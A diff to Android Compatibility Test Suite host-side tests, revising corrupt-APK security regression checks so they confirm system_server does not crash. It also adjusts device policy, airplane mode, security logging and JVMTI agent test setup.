+        long pid = 0;
+        try {
+            pid = Long.parseLong(pidResult);
+        } catch (NumberFormatException | IndexOutOfBoundsException e) {
+            fail("Unable to parse pid of system_server '" + pidResult + "'");
+        }
+
+        // Retrieve the start time of system_server
+        long startTime = 0;
+        String pidStats = device.executeShellCommand("cat /proc/" + pid + "/stat");
+        assertNotNull("Failed to retrieve stat of system_server with pid '" + pid + "'", pidStats);
+        try {
+            String startTimeJiffies = pidStats.split("\\s+")[21];
+            startTime = Long.parseLong(startTimeJiffies);
+        } catch (NumberFormatException | IndexOutOfBoundsException e) {
+            fail("Unable to parse system_server stat file '" + pidStats + "'");
+        }
+
+        return new SystemServerInformation(pid, startTime);
+    }
+
     @Override
     public void setBuild(IBuildInfo buildInfo) {
         mBuildInfo = buildInfo;
     }
 
+   /** Uninstall any test APKs already present on device. */
+    private void uninstallApks() throws DeviceNotAvailableException {
+        ITestDevice device = getDevice();
+        device.uninstallPackage("com.android.appsecurity.b71360999");
+        device.uninstallPackage("com.android.appsecurity.b71361168");
+        device.uninstallPackage("com.android.appsecurity.b79488511");
+    }
+
     @Before
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        uninstall(B71360999_PKG);
-        uninstall(B71361168_PKG);
-        uninstall(B79488511_PKG);
+        uninstallApks();
     }
 
     @After
     @Override
     public void tearDown() throws Exception {
         super.tearDown();
-        uninstall(B71360999_PKG);
-        uninstall(B71361168_PKG);
-        uninstall(B79488511_PKG);
-    }
-
-    /** Uninstall the apk if the test failed previously. */
-    public void uninstall(String pkg) throws Exception {
-        ITestDevice device = getDevice();
-        if (device.getInstalledPackageNames().contains(pkg)) {
-            device.uninstallPackage(pkg);
-        }
+        uninstallApks();
     }
 
     /**
-     * Tests that apks described in b/71360999 do not install successfully.
+     * Asserts that installing the application does not cause a native error causing system_server
+     * to crash (typically the result of a buffer overflow or an out-of-bounds read).
      */
-    public void testFailToInstallCorruptStringPoolHeader_b71360999() throws Exception {
-        final String APK_PATH = "CtsCorruptApkTests_b71360999.apk";
-        assertInstallNoFatalError(APK_PATH, B71360999_PKG);
-    }
+    private void assertInstallDoesNotCrashSystem(String apk) throws Exception {
+        SystemServerInformation beforeInfo = retrieveInfo();
 
-    /**
-     * Tests that apks described in b/71361168 do not install successfully.
-     */
-    public void testFailToInstallCorruptStringPoolHeader_b71361168() throws Exception {
-        final String APK_PATH = "CtsCorruptApkTests_b71361168.apk";
-        assertInstallNoFatalError(APK_PATH, B71361168_PKG);
-    }
-
-    /**
-     * Tests that apks described in b/79488511 do not install successfully.
-     */
-    public void testFailToInstallCorruptStringPoolHeader_b79488511() throws Exception {
-        final String APK_PATH = "CtsCorruptApkTests_b79488511.apk";
-        assertInstallNoFatalError(APK_PATH, B79488511_PKG);
-    }
-
-    /**
-     * Assert that installing the app does not cause a native error caused by a buffer overflow
-     * or an out-of-bounds read.
-     **/
-    private void assertInstallNoFatalError(String filename, String pkg) throws Exception {
-        ITestDevice device = getDevice();
-        device.clearLogcat();
-
-        final String result = device.installPackage(
-                new CompatibilityBuildHelper(mBuildInfo).getTestFile(filename),
-                true /*reinstall*/);
-
-        // Starting from P, corrupt apks should always fail to install
-        if (device.getApiLevel() >= 28) {
-            assertThat(result).isNotNull();
-            assertThat(result).isNotEmpty();
-            assertThat(device.getInstalledPackageNames()).doesNotContain(pkg);
+        final String result = getDevice().installPackage(
+                new CompatibilityBuildHelper(mBuildInfo).getTestFile(apk),
+                false /*reinstall*/);
+        CLog.logAndDisplay(LogLevel.INFO, "Result: '" + result + "'");
+        if (result != null) {
+            assertFalse("Install package segmentation faulted",
+                result.toLowerCase().contains("segmentation fault"));
         }
 
-        // This catches if the device fails to install the app because a segmentation fault
-        // or out of bounds read created by the bug occurs
-        File tmpTxtFile = null;
-        InputStreamSource source = device.getLogcat(200 * 1024);
-        try {
-            assertNotNull(source);
-            tmpTxtFile = FileUtil.createTempFile("logcat", ".txt");
-            FileUtil.writeToFile(source.createInputStream(), tmpTxtFile);
-            String s = FileUtil.readStringFromFile(tmpTxtFile);
-            assertFalse(s.contains("SIGSEGV"));
-            assertFalse(s.contains("==ERROR"));
-        } finally {
-            source.close();
-            if (tmpTxtFile != null) {
-                FileUtil.deleteFile(tmpTxtFile);
-            }
-        }
+        assertEquals("system_server restarted", beforeInfo, retrieveInfo());
+    }
+
+    /** Tests that installing the APK described in b/71360999 does not crash the device. */
+    public void testSafeInstallOfCorruptAPK_b71360999() throws Exception {
+        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b71360999.apk");
+    }
+
+    /** Tests that installing the APK described in b/71361168 does not crash the device. */
+    public void testSafeInstallOfCorruptAPK_b71361168() throws Exception {
+        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b71361168.apk");
+    }
+
+    /** Tests that installing the APK described in b/79488511 does not crash the device. */
+    public void testSafeInstallOfCorruptAPK_b79488511() throws Exception {
+        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b79488511.apk");
     }
 }
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index 1d0f83e..38cdb3c 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -19,6 +19,7 @@
 import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE;
 import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
 
+import android.app.KeyguardManager;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -56,6 +57,7 @@
     private Context mCe;
     private Context mDe;
     private PackageManager mPm;
+    private KeyguardManager mKm;
 
     private UiDevice mDevice;
     private AwareActivity mActivity;
@@ -67,6 +69,7 @@
         mCe = getInstrumentation().getContext();
         mDe = mCe.createDeviceProtectedStorageContext();
         mPm = mCe.getPackageManager();
+        mKm = (KeyguardManager) mCe.getSystemService(Context.KEYGUARD_SERVICE);
 
         mDevice = UiDevice.getInstance(getInstrumentation());
         assertNotNull(mDevice);
@@ -100,7 +103,9 @@
 
     public void testTearDown() throws Exception {
         // Just in case, always try tearing down keyguard
-        dismissKeyguard();
+        if (mKm.isKeyguardLocked()) {
+            dismissKeyguard();
+        }
 
         mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
                 AwareActivity.class, null);
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
index 2265dec..48a1b5d 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
@@ -441,6 +441,10 @@
         final int originalSetting = Secure.getInt(contentResolver, Secure.INSTANT_APPS_ENABLED, 1);
         Secure.putInt(contentResolver, Secure.INSTANT_APPS_ENABLED, 0);
         try {
+            Thread.sleep(1000);
+        } catch (Exception e) {
+        }
+        try {
             // start the ephemeral activity; using VIEW/BROWSABLE with setting disabled
             try {
                 final Intent startViewIntent = new Intent(Intent.ACTION_VIEW)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
index 80a1578..f187504 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
@@ -487,10 +487,18 @@
     }
 
     private void doTestGrantUriPermissionFail(Uri uri) {
-        grantUriPermissionFail(uri, Intent.FLAG_GRANT_READ_URI_PERMISSION, false);
-        grantUriPermissionFail(uri, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
-        grantUriPermissionFail(uri, Intent.FLAG_GRANT_READ_URI_PERMISSION, true);
-        grantUriPermissionFail(uri, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, true);
+        for (boolean service : new boolean[] { false, true }) {
+            for (int flags : new int[] {
+                    Intent.FLAG_GRANT_READ_URI_PERMISSION, Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+            }) {
+                grantUriPermissionFail(uri,
+                        flags, service);
+                grantUriPermissionFail(uri,
+                        flags | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, service);
+                grantUriPermissionFail(uri,
+                        flags | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, service);
+            }
+        }
     }
     
     /**
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/raw/ringer.mp3 b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/raw/ringer.mp3
new file mode 100644
index 0000000..aa052e7
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/raw/ringer.mp3
Binary files differ
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
index d44b782..56c3596 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
@@ -18,8 +18,10 @@
 
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.content.res.Resources;
 import android.media.AudioManager;
 import android.media.MediaPlayer;
+import android.net.Uri;
 import android.provider.Settings;
 import android.os.SystemClock;
 import android.os.UserManager;
@@ -31,6 +33,7 @@
 
     private AudioManager mAudioManager;
     private PackageManager mPackageManager;
+    private boolean mUseFixedVolume;
     private final Callable<Boolean> mCheckIfMasterVolumeMuted = new Callable<Boolean>() {
         @Override
         public Boolean call() throws Exception {
@@ -43,6 +46,8 @@
         super.setUp();
         mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
         mPackageManager = mContext.getPackageManager();
+        mUseFixedVolume = mContext.getResources().getBoolean(
+                Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android"));
     }
 
     // Here we test that DISALLOW_ADJUST_VOLUME disallows to unmute volume.
@@ -80,12 +85,13 @@
     }
 
     public void testDisallowAdjustVolume() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT) || mUseFixedVolume) {
             return;
         }
 
+        Uri uri = Uri.parse("android.resource://" + mContext.getPackageName() + "/" + R.raw.ringer);
         MediaPlayer mediaPlayer = new MediaPlayer();
-        mediaPlayer.setDataSource(mContext, Settings.System.DEFAULT_RINGTONE_URI);
+        mediaPlayer.setDataSource(mContext, uri);
         mediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);
         mediaPlayer.prepare();
         mediaPlayer.setLooping(true);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetSystemSettingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetSystemSettingTest.java
index 0fbbee1..3030e35 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetSystemSettingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetSystemSettingTest.java
@@ -19,6 +19,7 @@
 import android.os.UserHandle;
 import android.provider.Settings;
 
+import static android.provider.Settings.System.SCREEN_BRIGHTNESS_MODE_AUTOMATIC;
 /**
  * Test {@link DevicePolicyManager#setSystemSetting}.
  */
@@ -36,8 +37,23 @@
   }
 
   public void testSetBrightness() {
-    testSetBrightnessWithValue(TEST_BRIGHTNESS_1);
-    testSetBrightnessWithValue(TEST_BRIGHTNESS_2);
+    final int mode = Settings.System.getInt(mContext.getContentResolver(),
+        Settings.System.SCREEN_BRIGHTNESS_MODE, SCREEN_BRIGHTNESS_MODE_AUTOMATIC);
+    if(mode == SCREEN_BRIGHTNESS_MODE_AUTOMATIC) {
+
+        mDevicePolicyManager.setSystemSetting(ADMIN_RECEIVER_COMPONENT,
+          Settings.System.SCREEN_BRIGHTNESS_MODE, "0");
+
+        testSetBrightnessWithValue(TEST_BRIGHTNESS_1);
+        testSetBrightnessWithValue(TEST_BRIGHTNESS_2);
+        mDevicePolicyManager.setSystemSetting(ADMIN_RECEIVER_COMPONENT,
+            Settings.System.SCREEN_BRIGHTNESS_MODE,
+              mode == SCREEN_BRIGHTNESS_MODE_AUTOMATIC? "1" : "0");
+    }
+    else {
+       testSetBrightnessWithValue(TEST_BRIGHTNESS_1);
+       testSetBrightnessWithValue(TEST_BRIGHTNESS_2);
+    }
   }
 
   public void testSetSystemSettingsFailsForNonWhitelistedSettings() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
old mode 100644
new mode 100755
index bbe6855..3227770
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -379,6 +379,8 @@
         localBroadcastManager.registerReceiver(broadcastReceiver,
                 new IntentFilter(BasicAdminReceiver.ACTION_USER_STOPPED));
 
+        Thread.sleep(USER_SWITCH_DELAY);
+
         try {
             assertEquals(UserManager.USER_OPERATION_SUCCESS,
                     mDevicePolicyManager.stopUser(getWho(), userHandle));
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SystemUpdatePolicyTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SystemUpdatePolicyTest.java
index 4fa6235..e5598bb 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SystemUpdatePolicyTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SystemUpdatePolicyTest.java
@@ -15,6 +15,7 @@
  */
 package com.android.cts.deviceowner;
 
+import static android.provider.Settings.Global.AIRPLANE_MODE_ON;
 
 import android.app.admin.DevicePolicyManager;
 import android.app.admin.FreezePeriod;
@@ -27,12 +28,17 @@
 import android.icu.util.Calendar;
 import android.provider.Settings;
 import android.provider.Settings.Global;
+import android.util.Log;
 import android.util.Pair;
 
+import android.provider.Settings;
+import android.provider.Settings.Global;
+
 import java.time.LocalDate;
 import java.time.MonthDay;
 import java.util.ArrayList;
 import java.util.List;
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
@@ -42,7 +48,10 @@
  */
 public class SystemUpdatePolicyTest extends BaseDeviceOwnerTest {
 
+    private static final String TAG = "SystemUpdatePolicyTest";
+
     private static final int TIMEOUT_MS = 20_000;
+    private static final int TIMEOUT_SEC = 5;
 
     private final Semaphore mPolicyChangedSemaphore = new Semaphore(0);
     private final Semaphore mTimeChangedSemaphore = new Semaphore(0);
@@ -61,6 +70,7 @@
     private int mSavedAutoTimeConfig;
     private LocalDate mSavedSystemDate;
     private boolean mRestoreDate;
+    private int mSavedAirplaneMode;
 
     @Override
     protected void setUp() throws Exception {
@@ -75,6 +85,12 @@
         executeShellCommand("settings put global auto_time 0");
         mSavedSystemDate = LocalDate.now();
         mRestoreDate = false;
+        mSavedAirplaneMode = getAirplaneMode();
+        Log.i(TAG, "Before testing, AIRPLANE_MODE is set to: " + mSavedAirplaneMode);
+        if (mSavedAirplaneMode == 0) {
+            // No need to set mode if AirplaneMode is 1 or error.
+            setAirplaneModeAndWaitBroadcast(1);
+        }
     }
 
     @Override
@@ -89,6 +105,10 @@
         // This needs to happen last since setSystemDate() relies on the receiver for
         // synchronization.
         mContext.unregisterReceiver(policyChangedReceiver);
+        if (mSavedAirplaneMode == 0) {
+            // Restore AirplaneMode value.
+            setAirplaneModeAndWaitBroadcast(0);
+        }
         super.tearDown();
     }
 
@@ -341,4 +361,42 @@
             fail("Interrupted while waiting for broadcast.");
         }
     }
+
+    private int getAirplaneMode() throws Settings.SettingNotFoundException {
+        int airplaneMode = 0xFF;
+        try {
+            airplaneMode = Settings.Global.getInt(mContext.getContentResolver(),
+                Settings.Global.AIRPLANE_MODE_ON);
+        } catch (Settings.SettingNotFoundException e) {
+            airplaneMode = 0xFF;
+            // if the mode is not supported, return a non zero value.
+            Log.i(TAG, "Airplane mode is not found in Settings. Skipping AirplaneMode update");
+        } finally {
+            return airplaneMode;
+        }
+    }
+
+    private boolean setAirplaneModeAndWaitBroadcast (int state) throws Exception {
+        Log.i(TAG, "setAirplaneModeAndWaitBroadcast setting state(0=disable, 1=enable): " + state);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        BroadcastReceiver receiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                Log.i(TAG, "Received broadcast for AirplaneModeUpdate");
+                latch.countDown();
+            }
+        };
+        mContext.registerReceiver(receiver, new IntentFilter(Intent.ACTION_AIRPLANE_MODE_CHANGED));
+        try {
+            Settings.Global.putInt(mContext.getContentResolver(), AIRPLANE_MODE_ON, state);
+            if (!latch.await(TIMEOUT_SEC, TimeUnit.SECONDS)) {
+                Log.d(TAG, "Failed to receive broadcast in " + TIMEOUT_SEC + "sec");
+                return false;
+            }
+        } finally {
+            mContext.unregisterReceiver(receiver);
+        }
+        return true;
+    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
index 7b568af..eca6953 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
@@ -43,9 +43,6 @@
     protected static final String ACCOUNT_MANAGEMENT_APK
             = "CtsAccountManagementDevicePolicyApp.apk";
 
-    // Dequeue time of PACKAGE_ADDED intent for two test packages.
-    private static final int BROADCAST_WAIT_TIME_MILLIS = 10000; // 10 seconds
-
     @Override
     public void tearDown() throws Exception {
         if (mHasFeature) {
@@ -75,8 +72,9 @@
             assertTrue(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId,
                     /*expectFailure*/ false));
 
-            // Waiting for the broadcast idle state.
-            Thread.sleep(BROADCAST_WAIT_TIME_MILLIS);
+            // Wait broadcast idle to ensure the owner changed broadcast has been sent.
+            waitForBroadcastIdle();
+
             runDeviceTestsAsUser(INTENT_RECEIVER_PKG, testClass,
                     "testOwnerChangedBroadcastReceived", mPrimaryUserId);
         } finally {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
old mode 100644
new mode 100755
index 0146826..28dd552
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -408,34 +408,42 @@
         if (!mHasFeature) {
             return;
         }
+        // Backup stay awake setting because testGenerateLogs() will turn it off.
+        final String stayAwake = getDevice().getSetting("global", "stay_on_while_plugged_in");
+        try {
+            // Turn logging on.
+            executeDeviceTestMethod(".SecurityLoggingTest", "testEnablingSecurityLogging");
+            // Reboot to ensure ro.device_owner is set to true in logd and logging is on.
+            rebootAndWaitUntilReady();
 
-        // Turn logging on.
-        executeDeviceTestMethod(".SecurityLoggingTest", "testEnablingSecurityLogging");
-        // Reboot to ensure ro.device_owner is set to true in logd and logging is on.
-        rebootAndWaitUntilReady();
-
-        // Generate various types of events on device side and check that they are logged.
-        executeDeviceTestMethod(".SecurityLoggingTest", "testGenerateLogs");
-        getDevice().executeShellCommand("dpm force-security-logs");
-        executeDeviceTestMethod(".SecurityLoggingTest", "testVerifyGeneratedLogs");
-
-        // Reboot the device, so the security event ids are reset.
-        rebootAndWaitUntilReady();
-
-        // Verify event ids are consistent across a consecutive batch.
-        for (int batchNumber = 0; batchNumber < 3; batchNumber++) {
-            generateDummySecurityLogs();
+            // Generate various types of events on device side and check that they are logged.
+            executeDeviceTestMethod(".SecurityLoggingTest", "testGenerateLogs");
             getDevice().executeShellCommand("dpm force-security-logs");
-            executeDeviceTestMethod(".SecurityLoggingTest", "testVerifyLogIds",
-                    Collections.singletonMap(ARG_SECURITY_LOGGING_BATCH_NUMBER,
-                            Integer.toString(batchNumber)));
-        }
+            executeDeviceTestMethod(".SecurityLoggingTest", "testVerifyGeneratedLogs");
 
-        // Immediately attempting to fetch events again should fail.
-        executeDeviceTestMethod(".SecurityLoggingTest",
-                "testSecurityLoggingRetrievalRateLimited");
-        // Turn logging off.
-        executeDeviceTestMethod(".SecurityLoggingTest", "testDisablingSecurityLogging");
+            // Reboot the device, so the security event ids are reset.
+            rebootAndWaitUntilReady();
+
+            // Verify event ids are consistent across a consecutive batch.
+            for (int batchNumber = 0; batchNumber < 3; batchNumber++) {
+                generateDummySecurityLogs();
+                getDevice().executeShellCommand("dpm force-security-logs");
+                executeDeviceTestMethod(".SecurityLoggingTest", "testVerifyLogIds",
+                        Collections.singletonMap(ARG_SECURITY_LOGGING_BATCH_NUMBER,
+                                Integer.toString(batchNumber)));
+            }
+
+            // Immediately attempting to fetch events again should fail.
+            executeDeviceTestMethod(".SecurityLoggingTest",
+                    "testSecurityLoggingRetrievalRateLimited");
+            // Turn logging off.
+            executeDeviceTestMethod(".SecurityLoggingTest", "testDisablingSecurityLogging");
+        } finally {
+            // Restore stay awake setting.
+            if (stayAwake != null) {
+                getDevice().setSetting("global", "stay_on_while_plugged_in", stayAwake);
+            }
+        }
     }
 
     private void generateDummySecurityLogs() throws DeviceNotAvailableException {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserActivityEmulator.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserActivityEmulator.java
index 0b17b17..a5fcf4e 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserActivityEmulator.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserActivityEmulator.java
@@ -30,7 +30,15 @@
     public UserActivityEmulator(ITestDevice device) throws DeviceNotAvailableException {
         // Figure out screen size. Output is something like "Physical size: 1440x2880".
         mDevice = device;
-        final String output = mDevice.executeShellCommand("wm size");
+        String outputString = mDevice.executeShellCommand  ("wm size");
+
+        // In case that "Override size" follows by separator like 
+        // "Physical size: 1440x2960\nOverride size: 1080x2220"
+        if (outputString.contains("Override")) {
+            outputString = outputString.split(System.getProperty("line.separator"))[1];
+        }
+
+        final String output = outputString;
         final String[] sizes = output.split(" ")[2].split("x");
         mWidth = Integer.valueOf(sizes[0].trim());
         mHeight = Integer.valueOf(sizes[1].trim());
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
index c038eb2..596720c 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
@@ -56,7 +56,7 @@
         assertTrue(scale > 0);
         int level = dump.getLevel();
         assertTrue(level >= 0 && level <= scale);
-        assertTrue(dump.getVoltage() > 0);
+        assertTrue(dump.getVoltage() >= 0);
     }
 
     static boolean hasBattery(ITestDevice device) throws DeviceNotAvailableException {
diff --git a/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java b/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java
index 7a13e79..6c22f37 100644
--- a/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java
+++ b/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java
@@ -22,16 +22,12 @@
 import art.Main;
 
 /**
- * Check tagging-related functionality.
+ * Check tracking-related functionality.
  */
 public class JvmtiTrackingTest extends JvmtiTestBase {
 
     @Before
     public void setUp() throws Exception {
-        // Bind our native methods.
-        Main.bindAgentJNI("android/jvmti/cts/JvmtiTrackingTest",
-                getClass().getClassLoader());
-
         prefetchClassNames();
     }
 
diff --git a/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
index becabe1..9269a27 100644
--- a/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
+++ b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
@@ -49,6 +49,7 @@
 
     private CompatibilityBuildHelper mBuildHelper;
     private IAbi mAbi;
+    private int mCurrentUser;
 
     @Override
     public void setBuild(IBuildInfo arg0) {
@@ -66,6 +67,11 @@
 
     private final static String AGENT = "libctsjvmtiattachagent.so";
 
+    @Override
+    protected void setUp() throws Exception {
+        mCurrentUser = getDevice().getCurrentUser();
+    }
+
     public void testJvmtiAttachDuringBind() throws Exception {
         runJvmtiAgentLoadTest((ITestDevice device, String pkg, String apk, String abiName) -> {
             try {
@@ -79,7 +85,8 @@
     public void testJvmtiAttachEarly() throws Exception {
         runJvmtiAgentLoadTest((ITestDevice device, String pkg, String apk, String abiName) -> {
             try {
-                String pwd = device.executeShellCommand("run-as " + pkg + " pwd");
+                String pwd = device.executeShellCommand(
+                        "run-as " + pkg + " --user " + mCurrentUser + " pwd");
                 if (pwd == null) {
                     throw new RuntimeException("pwd failed");
                 }
@@ -125,7 +132,8 @@
     public void testJvmtiAgentAppExternal() throws Exception {
         runJvmtiAgentLoadTest((ITestDevice device, String pkg, String apk, String abiName) -> {
             try {
-                String pwd = device.executeShellCommand("run-as " + pkg + " pwd");
+                String pwd = device.executeShellCommand(
+                        "run-as " + pkg + " --user " + mCurrentUser + " pwd");
                 if (pwd == null) {
                     throw new RuntimeException("pwd failed");
                 }
@@ -219,13 +227,14 @@
             }
 
             String runAsCp = device.executeShellCommand(
-                    "run-as " + pkg + " cp " + libInTmp + " " + libInDataData);
+                    "run-as " + pkg + " --user " + mCurrentUser +
+                            " cp " + libInTmp + " " + libInDataData);
             if (runAsCp != null && !runAsCp.trim().isEmpty()) {
                 throw new RuntimeException(runAsCp.trim());
             }
 
-            String runAsChmod = device
-                    .executeShellCommand("run-as " + pkg + " chmod a+x " + libInDataData);
+            String runAsChmod = device.executeShellCommand(
+                    "run-as " + pkg + " --user " + mCurrentUser + " chmod a+x " + libInDataData);
             if (runAsChmod != null && !runAsChmod.trim().isEmpty()) {
                 throw new RuntimeException(runAsChmod.trim());
             }
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
index f80492c..edc685a 100644
--- a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
+++ b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
@@ -59,6 +59,7 @@
 
     private CompatibilityBuildHelper mBuildHelper;
     private IAbi mAbi;
+    private int mCurrentUser;
 
     @Override
     public void setBuild(IBuildInfo arg0) {
@@ -70,6 +71,11 @@
         mAbi = arg0;
     }
 
+    @Override
+    protected void setUp() throws Exception {
+        mCurrentUser = getDevice().getCurrentUser();
+    }
+
     public void testJvmti() throws Exception {
         final ITestDevice device = getDevice();
 
@@ -123,7 +129,8 @@
         @Override
         public void run() {
             try {
-                String pwd = mDevice.executeShellCommand("run-as " + mPkg + " pwd");
+                String pwd = mDevice.executeShellCommand(
+                        "run-as " + mPkg + " --user " + mCurrentUser + " pwd");
                 if (pwd == null) {
                     throw new RuntimeException("pwd failed");
                 }
@@ -165,13 +172,15 @@
                 }
 
                 String runAsCp = mDevice.executeShellCommand(
-                        "run-as " + mPkg + " cp " + libInTmp + " " + libInDataData);
+                        "run-as " + mPkg + " --user " + mCurrentUser +
+                                " cp " + libInTmp + " " + libInDataData);
                 if (runAsCp != null && !runAsCp.trim().isEmpty()) {
                     throw new RuntimeException(runAsCp.trim());
                 }
 
-                String runAsChmod = mDevice
-                        .executeShellCommand("run-as " + mPkg + " chmod a+x " + libInDataData);
+                String runAsChmod = mDevice.executeShellCommand(
+                        "run-as " + mPkg + " --user " + mCurrentUser +
+                                " chmod a+x " + libInDataData);
                 if (runAsChmod != null && !runAsChmod.trim().isEmpty()) {
                     throw new RuntimeException(runAsChmod.trim());
                 }
